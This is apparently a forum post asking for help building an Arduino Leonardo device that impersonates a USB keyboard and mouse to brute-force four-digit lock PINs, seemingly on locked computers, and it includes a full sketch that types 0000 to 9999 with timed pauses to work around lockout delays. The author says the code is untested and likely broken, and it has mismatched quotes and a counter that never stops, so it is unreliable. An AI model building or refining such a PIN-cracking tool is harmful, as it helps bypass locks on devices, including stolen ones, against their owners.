This sketch has been kicked around and modified for years. I would first like to thank orvtech, knoy, Ivan Mendoza, Anaruz, evasoft, yixiy, amora, and all of the others that developed and helped improve this sketch along the way (sorry to those I didn't mention). The original version was written for use with Teensy 3.0 and then later scripted for Arduino Leonardo. The best part of these sketches is they turn bricks back into the useful machines they were intended to be. The worst part of these sketches are the lack of convenience including having to watch the display, the clock, and ultimately work out the attempts over time to actually retrieve what the sketch was written for. Finally, the sketch has been utilized to make companies (and individuals) hundreds of dollars. Devices and "services" are sold on eBay for $60-$100. NerdsArmy even has several versions - the top of the line costing around $450.
My intention is to have great minds working on this again to include the best features at the lowest cost. Instead of the Teensy 3.1 version that leaves you to set up a video recorder, run calculations, and possibly run additional, modified attempts to get to the goal - I think the ultimate device would include the necessary keyboard strokes, mouse movements and clicks, LCD display of counter, and the ability to stop when finished - possibly utilizing a microphone to listen for a reboot chime (if applicable), or a light sensor that can detect the screen change, or by being aware of a USB hardware check.
I don't know the entire Arduino catalog but I'm envisioning the Leonardo with LCD shield for this task. I'm not really concerned with the increase in size and cost but more efficiency and functionality.
I am new to this whole environment and have no knowledge of writing code. I haven't produced or utilized any devices (though I plan to). I've spent more time with hardware and repair which has lead me on this search. I've read many blogs and found there is a lot of great information scattered all around but no convenient one-stop-shop for those who are interested in producing their own, quality, working device with a step-by-step tutorial. Perhaps the community mindset is "if you can't labor through hours, days, and years of blogs and put you're own blood and sweat in - then you simply don't deserve it".
Anyway....The "base" sketches can be retrieved from GitHub.
Here is something I've compiled but it hasn't been tested and more than likely does not work - just a concept or a theory. (Note: it doesn't yet include anything to stop the count when goal is met). Please forgive my ignorance.
#include <usb_keyboard.h>
#include <LiquidCrystal.h>
LiquidCrystal lcd(12, 11, 5, 4, 3, 2);
const int ledPin = 13; // choose the pin for the LED
int counter = 0;
//waits for iCloud
int loops = 0;
int fakecounter = counter;
char pin[]="xxxx”;
void setup() {
lcd.begin(16, 2);
lcd.print(“CODE INPUT”);
pinMode(ledPin, OUTPUT); // declare LED as output
delay(30000);
Mouse.begin();
}
void loop(){
//lets wait 1 minute and 1 second
if (loops == 5){
delay(61000);
}
//lets wait 5 minutes and one second
else if (loops == 6){
delay(301000);
}
//lets wait 15 minutes and 1 second
else if (loops == 7){
delay(901000);
loops = 0;
}
//lets get to work
if (counter <= 9999){
delay(1500); // vs (8000)
digitalWrite(ledPin, LOW);
Mouse.click();
delay(800); // vs (5500)
digitalWrite(ledPin, HIGH);
sprintf(pin, "%04d", fakecounter);
//sending first digit
Keyboard.press(pin[0]);
delay(450);
Keyboard.release(pin[0]);
delay(420);
//sending second digit
Keyboard.press(pin[1]);
delay(398);
Keyboard.release(pin[1]);
delay(510);
//sending third digit
Keyboard.press(pin[2]);
delay(421);
Keyboard.release(pin[2]);
delay(423);
//sending fourth digit
Keyboard.press(pin[3]);
delay(430);
Keyboard.release(pin[3]);
delay(525);
//sending return
Keyboard.press(KEY_RETURN);
delay(305);
Keyboard.release(KEY_RETURN);
lcd.setCursor(0, 1);
lcd.print(pin[0]);
lcd.setCursor(1, 1);
lcd.print(pin[1]);
lcd.setCursor(2, 1);
lcd.print(pin[2]);
lcd.setCursor(3, 1);
lcd.print(pin[3]);
}
//reached 4 digit PIN max value
if (counter > 9999){
for (int blinkies = 0; blinkies < 8; blinkies++) {
digitalWrite(ledPin, HIGH);
delay(20);
digitalWrite(ledPin, LOW);
delay(200);
}
delay(6000);
}
++counter;
++loops;
fakecounter = counter;
}
Please keep replies and comments relevant and useful.
Thank you.